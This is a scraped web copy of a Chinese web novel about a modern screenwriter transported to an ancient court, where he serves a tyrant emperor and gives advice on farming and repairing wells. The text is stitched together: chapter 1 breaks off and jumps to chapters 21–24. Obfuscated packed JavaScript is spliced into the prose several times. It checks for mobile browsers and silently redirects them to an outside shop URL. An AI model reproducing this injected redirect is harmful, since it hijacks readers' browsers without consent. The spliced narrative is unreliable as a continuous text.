《成为暴君的战利品后》 1. 第一章 《成为暴君的战利品后》全本免费阅读 《成为暴君的战利品后》文/无边客 晋江文学城独发 永朔三年,刚过二月,雨水靡靡。 南郡梁王府偏院一角,串成丝的牛毛细雨打着灰色地砖,砖缝两边蔓延出几片绿绒绒的青苔。 三四只不知从何处跑来的鸭子踩着青苔打了个滑,被冒雨追来的仆人按住翅膀,尽量压着声小心抱走,生怕扰醒了里头睡觉的那位。 细密的雨珠沿着灰木窗扉滚落,淅淅沥沥,内屋静谧,未受这些微小杂碎的动静惊扰。 屋内四周陈设火炉,夹着燃烧的药木香,暖气飘飘微醺,少了几分室外潮湿刺骨的春寒。 水墨花鸟屏风后的一席罗汉榻间,侧身支着抹背影。 稠密如墨的青丝散在背后,犹如泛着流光的缎子,几绺落发底下,盖了张狐毛织成的绒毯,毯子半搭过他的肩。 熟睡的青年一只清瘦白净的手腕露在狐毯外,压了半面书籍。 他面容白皙,颊边浮出抹暖气久熏的薄薄绯色,秀洁的眉心微蹙,似困于梦魇,显然睡得并不好。 门外忽然探来两个小小乌溜的后脑勺,身着春日夹袄,一男一女的幼童互相对视。 女孩儿圆眼眨巴,气质灵俏活泼,正欲推门跑入,被男孩儿制止。 男孩儿面容虽稚,较女孩比起更显稳重。 他摇摇头,颇有小大人的口吻,轻声道:“先生觉浅,莫要忽然扰醒他。” 女孩儿点头,随男孩悄悄踱步来到室内。 外头扬了阵风,雨水哗地打在窗扉上。 罗汉榻间阖眼的青年长睫动了动,皱着眉睁开双眸,漆黑的瞳孔犹如落了场春雨似的,氤着湿润,朦朦胧,有些涣散。 两个趴在榻前的脑袋屏息不动,小孩子眼也不眨地盯着青年。 几息过后,唐青视野清晰,眸光落在榻前那两个小脑袋上。 他唇角微浮,开口时音色如玉,却有些沙哑。 “安乐,小瑞,怎么进了屋子也不吱一声。” 眼瞳微转,打量四周,屋内只有两个孩子,再无旁人。 女孩儿名唤梁安乐,脆生生道:“二哥说先生觉浅,不要扰先生休息。” 名唤梁瑞的男孩道:“大哥吩咐的。” 唐青为两个小孩儿的贴心感到欣慰。 男孩又道:“大哥正在后厨煎药,过会儿就送来。” 闻言,唐青略为无奈地笑了笑。 两个孩子知道先生身子不好,倒不闹腾,此时都安安静静陪在唐青身边坐着。 兄妹两起先静坐,又过片刻,女孩儿主动背诵今早学的诗词给唐青听。 稚嫩的童声磕磕绊绊,夹着风雨的响动,唐青不由出神。 ***** 算算日子,唐青来到大邺王朝已有将近一年。 一年前,作为编剧的唐青还在家里赶稿子。 当时他连轴转在截至日期前交完稿子,计划着外出旅游放松放松,那晚正在收拾行李箱,哪想眼前忽然陷入黑暗,什么都听不见了。 等听觉逐渐恢复时,再睁眼,发现自己竟然置身一片荒林外,旁边还落着他整理的小药箱。 黑灯瞎火,山野茫茫,没等他理清楚头绪,就被几个提着灯笼走近的人包围。 几番交涉,确定他没有威胁,对方才待他客气些。 当时唐青从几人的谈话中得知他们急着下山,询问过后,借着茫茫银河,照北极星的方向尝试指路,赶巧运气好,还真在弥漫着雾气的黑夜环境中找到下山的路。 唐青下山之后就病倒了。 莫名其妙来到异世,身无分文,且无处可去的他随着那日遇见的青年留在梁王府。 这一留,就到了今天。 ***** “先生,先生?” 诵完诗的女孩儿轻轻晃起他的胳膊,唐青身上有股浅浅的香,靠近了才能闻到。 女孩儿觉得好闻,靠唐青靠得很近。 她见先生垂着长睫不语,有些担忧,转头问哥哥:“先生可是身子又不适了?” 被问及的男孩儿亦有点着急,背过身就要出门。 “我去找大哥过来。” 话音方落,门后的竹帘微微摇晃,带入几丝春潮寒冷的风。 一袭竹纹蓝色长袍的青年端着木托盘出现,他朝两个小孩微微摇头,低声嘱咐:“都出去,先生需要静养。” 两个孩子乖乖点头,嘴上齐齐回“好的大哥”。 说完,一前一后离开。 * 蓝色长袍的青年将门合起,放下托盘,转而将手指搭在唐青露出的腕子上,神色严谨,先探脉象。 腕上指尖传来的暖意使得唐青牵回心绪,他动了动唇:“名章,你来了。” 梁名章道:“嗓子听着哑,安乐和小瑞也不知倒杯水给你润润嗓。” 方桌陈放茶壶,摸过去已经凉冷。 梁名章走到门后拉动一条垂下的长绳,绳端另一头的竹铃摇晃,很快有仆人跑来。 仆人重新送了壶热的水进屋,梁名章看唐青喝完水,之后揭开木托上的白瓷碗盖,把碗里浓黑的药汁递给他。 “已经不烫了,慢点喝。” 唐青面上一派恬淡安静,没说话,将药汁服尽。 清雅隽丽面容微微皱起,眉心涌起些许无奈和隐忍。 眼前的唐青容姿出尘,气质淡然渺渺,眉间的隐忍使得他多了几分令人注目的魔力。 梁名章像被魇住蛊住那般,呆着不语。 许是靠得近,鼻端涌入一丝温暖微香的气息。 他猛然惊醒,无声而沉沉换了口气,坐回旁边的榆木交椅。 半晌,语气中带着安抚:“……良药苦口。” 说罢,揭开碗盖旁边的小木盒,盒内有几枚蜜枣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11479730|121845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮而行,唐青总算来到圣泉附近。 聚集的百姓多了,听旁的人闲聊,很快知晓圣泉的来意。 邺都此地水源,自百年前就出现,历经风雨岁月,至今仍在。 大邺过去发生过三次罕见的天灾,一年数月,无半丝甘霖降临,唯独这口泉水源源不尽。当时举国饿殍盈地,邺都靠此泉勉强度过三次旱情,救过数条性命。 此后,天子便赐名圣泉。 而后在圣泉周围设立井庙,筑山神之象,以镇邪祟。素日里百姓们会来拜祭,顺道打两桶泉水回去食饮,去病消灾。 百年已过,因地势落陷,圣泉沉在地下,太常寺曾差人修建取水转轴,年久失修,那转轴发生断裂,取水成了件难事。 唐青道:“再重建不就好了,何必搞得这般大费周章。” 围观的百姓应答:“公子有所不知,那圣泉很深,难以见底,里头常年氲着浓雾,雾气有毒,需等下雨才能进行修缮。” 可邺都只在春末时雨水多些,近日不常下雨,除非等到夏至,那也是至少两个月之后的事了。 圣泉对邺都意义非凡,太常寺可等不起,若传到御前,要被问责的。 百姓道:“赏钱可有二百银呢。” 二百银,寻常四口之家的平民户,紧着点肚子,每年花销约莫四五两。 唐青怔了一瞬,问:“爷,这份赏钱,小的可能挣?” 萧隽淡道:“若有本事,自可拿去。” 唐青向百姓问路,寻至太常寺值守的官吏面前。 那官吏瞧他气度不凡,诧异问:“公子何事而来。” 唐青指了指圣泉的方向。 官吏又道:“这笔银子可不好挣啊。” 唐青莞尔:“可容在下过去仔细瞧瞧。” 对方道:“公子请。” 唐青回头朝萧隽投去一眼,往官吏所指的方向走去。 百姓默契地给他让了路,唐青得以顺利的观察泉口。 听人说这处圣泉范围本来不小,而今百年岁迁,泉口下沉,尺径缩小,只比寻常井口宽约三倍有余。 他走回官吏身侧,俯耳而谈。 那官吏听罢,微微诧异,道:“明日太常大人亲自带人来,若事成,公子自可去太常寺领赏钱。” 唐青笑着走回萧隽面前:“让爷久等了。” 两人往城内步行,萧隽问:“你给了法子?” 唐青道:“在南郡一处僻壤荒远的乡村里,只一口井供全村人用,过去曾发生过与圣泉相似一事,当时梁名章带我前去查探,便用了此法子。” 待他们回到宫门,只见巍峨大门紧闭。 唐青上前询问,值守的侍卫道:“过了落钥的时辰便不再开门。” 唐青回到萧隽身侧,眼神疑惑。 不动用一下帝王权利吗? 萧隽道:“皇宫的规矩,自是公事公办。” 口吻中似有几分满意:“羽林卫平日里规矩不错。” 唐青:“爷……我们不回宫,在哪歇息?眼下天要黑了。” 萧隽:“在城里寻处地。” 唐青只能默默跟上,有些无言以对。 这皇帝,还真不拘小节啊。 说他仁慈,把上奏违逆他的官员全部送一顿板子。说他专制,竟然搞遵纪守法的一套…… 22.第二十二章 斜阳拂碧柳,路上行人三两,越往前走,便再无一人。唐青跟着面前那道背影,发现四周很是僻静。 他们来到一间乌瓦白墙,规模不大的庭院前,此时暮色轻微,门檐下已亮起灯笼,似乎知晓主人要来。 刚止步,门便打开,里头出现的布衣老者唤道:“爷,您来了。” 唐青跟在萧隽脚后走进大门,布衣老者在旁边引路。 借着光线,唐青这才发现对方有一边袖口空荡荡的,竟是个断臂老人。 老者道:“亲自备了几道酒菜,爷进屋尝尝。” 至于唐青…… 老者瞥他一眼,眼中滑过惊艳,暗忖:爷头一次带陌生的面孔来,不该问的便不问。 净手之后,唐青琢磨着怎么伺候皇帝用饭,正要做点什么,听萧隽吩咐:“都落座。” 老者笑着拧开酒壶的木塞:“去年酿的,爷尝尝。” 唐青稍微抬眼,发现断臂老者比起旁人面对帝王时表露的敬畏,他流露的更多则为亲近之态,俨然把一国之君当成后辈看。 而素日里淡漠威仪的萧隽,此时面上居然显出少有的缓和之色。 老者究竟什么来头? 唐青沉默,一时没动碗筷。 老者等萧隽尝了第一口烤鱼,笑呵呵道:“前些日子总下雨,河水涨了不少,老马我趁机逮了几条肥鱼回来养,这不,今日就见着爷过来了,来得早不如赶得巧啊。” “我烤鱼的手艺没生疏吧?” 萧隽道:“和从前一样。” 说罢,夹了一筷子鱼肉放进唐青手边的白瓷空碗。 “尝尝。” 唐青抬眸:“多谢爷。” 萧隽道:“在此地,不用如此拘束。” 老马眼底闪出精烁的光,似看出些端倪,仍然笑着点头,兀自夹了块肉,跟着开口:“这位公子何必拘礼,试试老马的厨艺。” 唐青吃了萧隽夹来的鱼肉,烤鱼味道极好,油而不腻,肉滑鲜嫩,汁水全部渗进肉质中。 简单尝过一口,唇瓣盈了油光,光滑润亮,他轻轻舔干净嘴边残留的汁水,抬手继续夹了块。 老马道:“味道好吧?爷过去就爱这道烤鱼,这可是正宗地道的冀州口味。” 唐青吃完,轻轻擦拭嘴唇油渍,方才喃喃:“冀州。” 萧隽默不作声,老马左右看看,打了个马虎,道:“等爷想开口,自然会相告于公子。” 从谈话中唐青约莫得知老马是冀州人,过去曾驻扎在冀北的军镇生活。 几道冀州风味的菜色十分入胃,唐青吃得尽兴,主位上的萧隽似乎也极为尽兴,酒都多饮了几回。 萧隽偏过视线,向他示意酒盏。 唐青忙轻轻摇头,面上浮出难色。 “爷,小的喝不了。” 萧隽低声一哂:“也罢。” 灯火隐绰,一顿饭尽兴,老马收拾东西,笑呵呵道:“爷,老马这把骨头熬不了太晚,先去歇着啦,您和公子随意。” 萧隽:“嗯。” 等屋内都空了,窗外虫鸣不间断地响唤,萧隽没动,唐青自然不动。 良久,萧隽问:“今日所见,觉得如何。” 唐青回想这天经历的,腹中措辞,挑了处较为妥当的地方回应。 “回皇上,臣于近郊田地所见,百姓拽耙扶犁,春日耕耘,夏日耨草,勤劳务农,确实不错。” “可还有值得完善的之处。” 唐青迎向萧隽的眼神,轻轻摇晃手中的茶盏,继而开口:“皇上可还记得在那户在门前处理草木灰的农人?” 当朝农民耕种,多以草木灰,或腐烂的树叶之类打成肥,这也是唐青所了解到的,较为接近早期的肥料。 他斟酌再三,徐徐道来。 “施肥是农业中必不可缺失的一个重要环节,施好肥,可以提升农物质地,促进其生长,增加产量,还可养护土壤,使得土壤肥力充足,延续耕地的使用年限,令土壤反复循环的利用。” “仅用草木灰做肥过于单一,像是腐熟的人畜粪便,食物残渣,河泥,石灰此类都可用于基肥,农业乃国之根本,作物产量上去了,于国于民,都是好事。” 唐青垂眸:“若负责农桑的官员能起到带头作用,定能让百姓们接受,引导他们效仿,待日子一久,此举有了成效,自会广泛流传。” 萧隽斟了盏茶,吹了吹,目光却纹丝未动,隔着水雾定定注视他。 “卿的点子倒是不少。” 唐青温和一笑,谦虚回应。 “为皇上分忧为臣之本分,自是竭尽全力。” 萧隽目色忽然凝在他噙起弧度的唇角,沉声问:“若孤想要卿在其他事情上分忧,又该如何。” 只一句,唐青心头倏跳,面显难色与无奈。 “皇上,臣……” 他渐渐收声,半晌无话。 萧隽淡声:“卿以为孤想做什么,或对卿做什么。” 唐青:“……” 说得您原来没做过似的,不仅做了,还好几次,他能不想偏么? 萧隽压下嘴边的笑意:“孤有头疾,卿且靠近些,替孤按一按。” 唐青:“皇上头疾犯了?” 他迎起身,来到对方侧面。 萧隽道:“按吧。” 唐青迟疑:“臣没试过,皇上感受一下力道,轻或者重了都与臣说一说。” 他手上动作轻柔,对萧隽而言,起不到什么按摩效果。 真正有效用的,是唐青靠近后源源传来的那阵温暖沁香,很淡,缓解了他忽起的躁动,头上乱跳的脉搏也随之停下来,痛楚在微香的熏拂下慢慢退散。 唐青垂眸,观察萧隽神色舒缓,温声宽劝:“皇上,回房休息如何。” 给唐青这么一顿按揉,萧隽竟也难得乏了。他很少会在如此早的时辰歇下,许是旁边的气息太过舒适。 他松口了语气:“嗯。” 又道:“卿也早些休息。” 送走萧隽,唐青停在庭院中央。 夜风清爽,已有入夏的温暖,檐下透出的光将他的影子拖得很长。 “公子。”早已离开的老马出现,“客房为公子备好了,还请跟来瞧瞧。” 唐青跟上:“多谢您。” 老马笑着摆摆手:“老马也要谢公子你啊,头一次见爷带人过来,瞧着……比过去轻松几分呐。” 唐青心想:他们只在屋内论了些农桑之事,也没做别的,对方是否误会了什么。 客房已经打扫过,陈设干净雅致,搬来的褥子上还有一股阳光晒过的气息。 唐青在井口旁打了点水稍作洗漱,合衣而躺。 不知是不是换了环境的缘故,又或逢春夏季候交替身子敏.感,听着窸窣虫鸣,他隐觉心闷,左右煎熬,靠着枕辗转,难以沉浸到睡眠的状态。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11479733|121845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐青久违地失眠了,先在床尾坐了会儿,而后临窗静立,院中灯影朦胧,渐渐出神。 深更半夜,在窗旁立了半宿,空气浅淡的花香弥漫于风中,唐青不住揉.弄泛痒的鼻子,间或揉揉眉眼周围。 他后知后觉地心道:过敏了。 为防止把皮肤搓破,只能忍耐。又觉口渴,推门而出,想绕去堂屋看看能否找点水喝。 另一扇门窗忽然打开,映出一张五官英俊深刻的面孔,灯影柔和,连同对方身上那股冷漠也淡了。 “卿为何不睡。” 唐青回眸:“皇上。” 他下意识舔了舔唇,一时忘了行礼。 “臣口渴,想寻些水喝。” 萧隽:“孤也有点渴,既如此,与卿一道同去。” 唐青:“……”好的。 石砖上的人影成了一双,萧隽找到水,倒了两杯。 唐青谢恩接过,仰头饮时,泛红的鼻尖与眉眼皆落入萧隽眼底。 萧隽盯着他:“脸为何这般红。” 唐青好不容易转移注意力,闻言,只觉脸又痒了,伸手往上挠。 萧隽挡开他的指尖:“够了。” 再挠破皮了。 唐青神情无奈,还有几分惹人心怜的模样。 “臣痒。” 萧隽眼皮一抽。 “……卿可知自己在说什么。” 唐青:“臣过敏了,脸很痒。” 萧隽听不明白过敏一词,但隐约知晓这理应是病了,顿时无言。 戎马数年,没见过这般动不动就生病的。 萧隽道:“付容。” 院中立刻落下一道暗影。 “皇上还请吩咐。” 萧隽:“从城里寻位大夫来。” 暗影消失,唐青望着暗卫如此迅速的行动,反应过来后,拱手谢恩。 “谢皇上。” ** 房内掌了明亮的灯,唐青坐在床边,让大夫看诊。 萧隽让老马送了壶水进屋,兀自倒了盏,喝完,大夫也看完了。 萧隽问:“如何。” 大夫望着面前气势不凡的男人:“回这位爷,老朽开副药方,待公子服用,很快就能缓解症状。” 唐青道:“多谢大夫,劳烦您深夜还要专程跑一趟。” 大夫笑着摆摆手:“公子言重,不麻烦的。” 这位爷付的诊金可丰厚呢。 深更半夜,唐青服了药,约莫一刻,脸上的痒症果然明显减轻。 隔着烛火与萧隽对视,唐青率先垂眸。 “劳烦皇上大半夜还随着臣一顿折.腾……” 萧隽道:“卿身子太弱,平日就该多练练。” 在军营时,经他操.练过的将士,各个钢筋铁骨。 许是夜色影响,唐青不像往日拘谨,不禁好笑道:“皇上,臣这副身子,能练些什么?舞刀弄枪的臣也不会啊。” 萧隽出神地望着唐青轻快的笑容:“……” 他只随口说说,想和唐青多说几句话。 起身走到门后,萧隽回头:“卿歇下吧。” 唐青想起身送他,萧隽:“立刻躺回床榻,这是皇命。” “……” 唐青依言,躺了上去。 看着乖顺听话的青年,不知怎地,几步走到庭院的萧隽长长透了口气,心口似乎有瞬间漏了几拍,跳得还挺快。 23.第二十三章 翌日,唐青困倦地起了个大早。 萧隽正在院子里练刀,动作大开大合,有力拔千钧之势,他看着看着,只觉倦意一扫而空。 老马抛出一杆枪,萧隽将长刀落回鞘内,枪尖横扫,锋芒将木桩嚯出一道口子。 半个时辰后,萧隽侧目,打量屋檐底下的唐青。 “用过朝食,一会儿领你的赏钱去。” 今日无朝会,不必太早回皇宫。 唐青一想,去后厨准备碗筷。 老马盛出做好的朝食,笑着看院中那两道身影。 在院里打了井水洗漱的萧隽擦去面上水珠,他已将方才那身练武穿的布衫换去,清晨井水凉快,坐近了,唐青能清楚感受到水汽的发散。 他不由侧首,和萧隽的距离仿佛近了些。眼前的男人,跟龙椅上的帝王有些不同。 萧隽放下茶盏:“看够了?” 唐青眨眼。 “……皇上恕罪。” 萧隽淡道:“恕卿无罪。” 气氛莫名的朝食结束,唐青随萧隽又前往邺都的那口圣泉去了。 一早,太常寺果然派了工匠赶来修缮,昨日和唐青对接的那位官吏在场,见唐青来了,冲他摇摇手,笑呵呵道:“公子,这边。” 唐青上前,官吏喜道:“照公子的法子,用通了孔洞的木罩子盖上口子后,吩咐人定时倒水,那些水果真就如下了牛毛小雨似的,泉底狭道的雾气果真慢慢散了,前头正差工匠修缮呢。” 唐青微微一笑:“那便恭喜大人了。” 官吏羞愧:“公子这声大人我可不敢当。” 说罢,看唐青气质不俗,又瞧了瞧跟着唐青一起来的男人,只觉魄力逼人,不敢让人直视。 太常寺的一介小吏,哪里进宫面见过圣上,当下就问:“公子和身旁的那位爷看起来浑身不凡,可是在哪处府上谋事?” 唐青略忖:“我和……大哥只是平凡百姓,家中做了些小本买卖的生意。” 他看时辰不早,便想今早去太常寺领取赏钱,于是先行告退。 回到萧隽身旁,唐青问:“爷可要先回去?太常寺那边,小的可以独自一人过去。” 萧隽瞥他:“难得出来一趟,急甚。” 唐青哑口无声。 萧隽忽道:“你何时有位大哥。” 唐青脸颊微热,没想到隔了段距离,对方耳力竟如此之好,将他胡扯的话听了去。 如果与寻常人随意称兄道弟就罢,萧隽贵为一国之主,他称帝王当兄弟,胆子不是一般的大。 “爷,小的都是虚话。” 萧隽未在此事纠缠,而是问:“修缮圣泉的法子,是何道理。” 唐青寻思,他说了原理,古人也不能理解呀。可话都问了,没有拒绝回答的权利。 便解释:“小的在南郡生活时,在僻壤的乡里遇到过此情形,圣泉与当时所见相同。” “泉底弥漫的阴气,常人难以接触,皆是因为底下积聚了诸如硫化氢,甲烷这类的气体,浓度太大,使人吸入便会立刻中毒,或窒息而亡。” “逢下雨,底下的阴气就会下沉,工匠方才进行修缮,所以只要让上面始终有水落下就好。” 萧隽听着唐青款款而论,若有所思。 ** 到了太常寺,萧隽道:“自己进去。” 唐青微撩衣摆,朝人笑笑,独自步行上台阶。 方才那位小吏已将昨日一事做了登记,唐青拿出鱼符给太常官员核查,顺利领到赏钱。 他摸着鼓囊囊的钱袋子,出来时眉眼堆着明亮的笑意。 萧隽:“如此高兴?” 唐青拍拍钱袋:“小的第一次有这么多钱,若节俭着用,可以……” 他收了声,也渐渐止了笑容 如果还在梁王府生活,这笔钱可以让大家吃饱喝饱,省着点用,他还可以舒舒服服地躺上好几年。 昨日之景恍惚从脑海浮起,走在人来人往的街头,唐青收起心头杂绪,看见个卖点心铺子,开口示意。 “爷,小的想去买点东西。” 回来时,他手里多了几盒口味不同的糖饴,途径首饰小摊,又买几件耳坠和簪饰。 萧隽微眯双目,长眉一挑:“女子的首饰,拿来送人?” 唐青没有否认。 “兰香从陇州到邺都,一路上悉心照顾了小的那么久,她还是个小姑娘,也不容易,送给她这些玩意她会开心些。” 萧隽“嗯”一声,余光将唐青萦绕笑意的脸收入眼底,不予置评。 ** 两人一道回了皇宫,唐青手上抱着几个盒子,寻思先去颐心殿上值还是先把东西找个地方收好再过去。 他听萧隽说道:“午后再来御前侍奉,回去歇着吧。” 唐青诧异:“皇上……” 欲下跪叩首:“谢皇上恩——” 萧隽皱眉,断了他的动作:“好了,孤回了。” 唐青目送萧隽离开,得了半日闲假,慢悠悠往潇湘殿的方向走。 ** 兰香很喜欢唐青送的首饰,刚开盒,立即换上花瓣样式的耳坠,又把配套的簪子小心珍视地别在发髻上。 小姑娘围绕铜镜来回走动,几乎要将脸贴上镜面,怎么打量都不够。 她欢喜道:“多谢先生,兰香很喜欢。” 唐青递给她钱袋,声色温和:“今后需要添什么尽管添,这份钱交给你保管。” 兰香瞪着钱袋子,惊诧。 “好多银钱,哪里得来的,莫非是皇上赏赐?” 唐青浅笑:“非也,在外头帮了太常寺一个忙,这是赏钱。” 兰香感慨:“看来昨日先生似乎和皇上在外面做了许多事啊。” 唐青:“……只正常办公,没有别的。” 他往脸颊和颈侧抓了几道,兰香目光细致,很快发现异常。 “先生,您起了些疹子。” 唐青叹息:“昨日夜里就起了,在城里寻了大夫看,还开了药。” 药效下去,此刻又微微泛痒。 兰香迟疑:“外头的大夫总不比宫内的好,兰香去医署请位医官过来替您再瞧一瞧吧。” 看她就要出去,唐青连声制止:“兰香,不必如此。” 想起宫里近来传过有关他的流言,唐青明白,时下他的处境较为尴尬。 当前形势,若再让兰香请太医上门问诊,容易引来非议。 秉着多一事不如少一事的心理,他将杯盏中的茶水饮尽,道:“我自己过去让医官瞧瞧就好。” 兰香:“还得麻烦您自己过去……” 瞥见唐青眼底的不赞同,她便闭起嘴巴,收拾好桌上的杯盏。 ** 去往医署中途,遇到韩擒。 那人见到他,径直走来,低沉唤:“先生。” 唐青拱手:“见过大统领。” 韩擒:“可是要去医署。” 唐青:“回大统领,正是。” 韩擒左手拎了几包药材:“刘执还在署里,先生过去吧。” 唐青心内一惊,韩擒竟连刘执专门给他看过病都清楚。 他冷下脸:“不知大统领何意,私下调查下官?” 韩擒薄唇微动,沉声解释:“先生误会了,有一日刘太医奉命给先生看诊,我就在附近当值。” 因为对唐青有着超乎预料的关注,所以总下意识的把关于他的风吹草动都放在心底…… 唐青道:“既然如此,多谢大统领关心,如若无事,下官先一步告退。” 韩擒目送对他回避不见的人,心脏无法遏制的抽了抽。 多希望那双潋滟眉眼能停在自己身上,脑海不由浮出在梁王府时与这人偶遇,迎见那和煦似春风的眸光,心头摇悸。 他想要那样的眼神,如春风再次拂向自己。 ** 正午方过,看完太医的唐青来到颐心殿当值。 皇上和李显义都不在,洒扫的宫人看见他,道:“陛下吩咐,让侍郎来了就去尚书台。” 唐青只得转道,去了尚书台。 ** 官署大门前,守尚书令寇广陵看见他,笑道:“唐侍郎,来得正好。” 唐青正欲行礼,寇广陵挡了他的动作:“同我一块出宫,查点东西。” 唐青问:“何事?” 寇广陵道:“上次你盘出来的那几本帐,有一家酒楼的账不对,那座酒楼属公冶侯名下,照着你说的,我让秀莽他们又查了几日,怀疑这位老将军名下不止在一处私产动了手脚。” 唐青随即跟寇广陵动身,两人前往朱雀街。 ** 朱雀街周围,有着邺都最繁华热闹的商业圈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了唐青查探的酒楼,寇广陵在周围发现几座朝廷没有记录在册,却记在公冶候名下的产园。 寇广陵压低声音道:“动了些银子跟附近的人探听,玄水街上的那几间歌舞坊,全是这位老将军的。” 朝廷不允许官员名下经营声色赌坊一类的场所,大邺统建三年,老将军借着势力,私下在邺都置办了庞大产业,发了不少横财。 两人喝着茶叙事,临近傍晚,方才走出茶坊,准备乘坐马车回宫。 街头一群孩子攥着糖葫芦跑闹而过,唐青避之不及,身子往旁边的包子摊撞去。 寇广陵扶起他时,唐青迈出半步,额边顷刻渗出冷汗。 寇广陵问:“可是崴到脚了。” 唐青隐忍:“应当是的。” 乘坐马车回到宫门,寇广陵想搀扶唐青走回去,又觉得对方的情况不合适步行。 他打算差人送个坐撵来宫门,却见韩擒骑马经过。 韩擒外出回宫,把马交给下属,和寇广陵打了招呼,下一句却问:“唐侍郎怎么伤了。” 寇广陵道:“是我照顾不周,侍郎随我外出办事崴了脚。” 韩擒道:“若再走动容易二次损伤,我来背着侍郎。” 唐青:“恐怕不合适。” 寇广陵暗想:这严肃得像块石头的禁军统领,何时变得如此热心肠? 抱着探究的心态,他道:“既统领如此大义,侍郎,咱们也尽快回去吧。” 僵持中,唐青不想耽搁了时间,只好趴上韩擒的肩膀。 霎时间,韩擒只觉温暖淡雅的香风袭面,沉默背着人稳步前行。 ** 长长的宫道上,唐青,韩擒,寇广陵诡异地沉默了一路。 这阵缄默不言被铁骑踏响的声音打破。 从猎场回来的皇帝骑着雷首远远而望,韩擒和唐青齐齐抬首。 虽隔得远,可帝王那股淡漠的气场让众人僵了僵。 最后,还是唐青慢吞吞从韩擒背后滑了下来。 远远地,三人朝皇帝行了一礼。 寇广陵寻思:为何气氛有些不对呢。 场上三人,他们作为帝王身侧重要的近臣,谁不是忠心耿耿? 可皇上此般漠然……似乎想刀人啊。 24-30 第024章 第 24 章 唐青只觉帝王的目光利如芒刺, 直指韩擒和自己。 正迟疑着要不要跟到御前,还未抬起那只没崴伤的脚,雷首调了个方向, 疾驰而去。 直至目送那道背影完全不见, 寇广陵缓缓松了口气, 犹带后怕。 “方才……皇上的脸色似乎不好啊, 又是朝上那位冥顽不灵的老臣惹怒龙颜了。” 唐青沉默。 韩擒一样没开口, 只低头, 目光落在他的脚上。 唐青道:“我慢慢跳过去就行。” 韩擒:“侍郎可是要去尚书处。” 寇广陵:“自然, 我们还有事情需要整理。” 韩擒注视唐青:“此地离尚书处太远,先生的伤如果再耽搁下去,需得延长些时日才恢复。” 顿了顿:“让我背你。” 寇广陵瞧出韩擒的固执, 愈发纳闷了,却也知晓唐青的伤拖延不得。 “伤筋动骨一百天啊,唐侍郎,不如就听了统领的意见, 习武之人脚程快, 我们先赶回去把伤口敷一敷。” 话不无道理, 脚伤未愈,就要耽搁公务了。唐青只好让韩擒重新放回背上背了起来。 他双手撑在韩擒肩膀,怕自己太压着对方,始终直起腰身。 手心之下,隔着官服,可直观感触到随着对方走动时肩膀两侧微微起伏的肌肉。 唐青观望前方宫道,恍觉两道红墙似乎望不见尽头, 若在平时,也没觉得路有那么长。 他少有的生出些微窘迫, 为了缓解气氛,问道:“统领,下官会不会很重。” 韩擒微不可察地顿住,极轻摇头。 “不重。” 寇广陵听两人的对话,不由笑道:“唐侍郎身姿飘逸,怎么会重?况且统领常年习武,听闻还能将玄武门前的那尊香鼎扛起来呢。” 唐青:“……” 好端端的,扛鼎做甚。 他收起不着边际的思绪,在韩擒的护送下回到尚书台。 正在一楼整理文书的苏子游抬头,起身行了礼:“见过大统领。” 又打量背上的人,问:“唐侍郎怎么了?” 最后走进来的寇广陵解释:“侍郎与我出去办事,怎料在回来途中崴着脚了,你去医署请位医官过来。” 韩擒道:“交给我看看。” 寇广陵意外:“统领?” 又想起什么,说道:“也对,统领经常舞刀弄枪,受些外伤在所难免,对伤处疗治起来更有经验。” 韩擒把唐青放在座椅上,屈膝半蹲:“先生,我需要检查你扭伤的部位。” 左右无人帮他说话,唐青点头:“劳烦统领了。” 他弯腰伸手,准备摘除靴子,却被对方先行一步。 唐青愕然:“统领不必……” 话没说完,韩擒已经小心替他摘去靴袜,掀起裤腿,专注检查他脚踝扭伤的地方。 韩擒道:“还不算太严重,” 又回头交待苏子游:“可能找一盆冰块和干净的布巾送来。” 苏子游:“哦哦,统领且等等。” 韩擒低垂的目光始终落在唐青足踝一处,道:“先忍忍。” 唐青略为不自在地应了声“嗯”。 他鲜少运动,常年居于宅中,肤色白如名瓷,且双足比一般男子的尺寸要小些,指甲修剪得十分干净。 而这因为崴伤所露出的部位,竟让韩擒看入了神。 韩擒暗觉失态,紧了紧手指,正准备移开视线,一旁的寇广陵倒是耿直坦言。 他发自内心喟叹:“美人就是美人,连足踝都生得这般玲珑秀致,似皓白新雪,又有莲华那般的轮廓柔韧。” 唐青讪讪:“……大人过誉了。” 苏子游还没回来,门外倒多了个人。 李秀莽前来上值,看见寇广陵,唤:“大人。” 又朝韩擒揖礼:“见过大统领。” 最后目光转落在椅子上的唐青:“发生何事。” 寇广陵第三遍解释:“侍郎崴着脚了。” 李秀莽走到唐青身侧,低头观察了一下伤势,蹙眉道:“楼上有跌打伤药,我去取来。” 寇广陵疑惑:“怎地还带这种药放着?” 李秀莽回答:“禀大人,下官乃幽州平林人士,平林地处边缘,过去时常受绥人侵扰,是以平林人无论男女,皆有些武艺傍身,方便随时抵御绥人的侵袭。年头一长,家家户户习惯了准备此类伤药。” 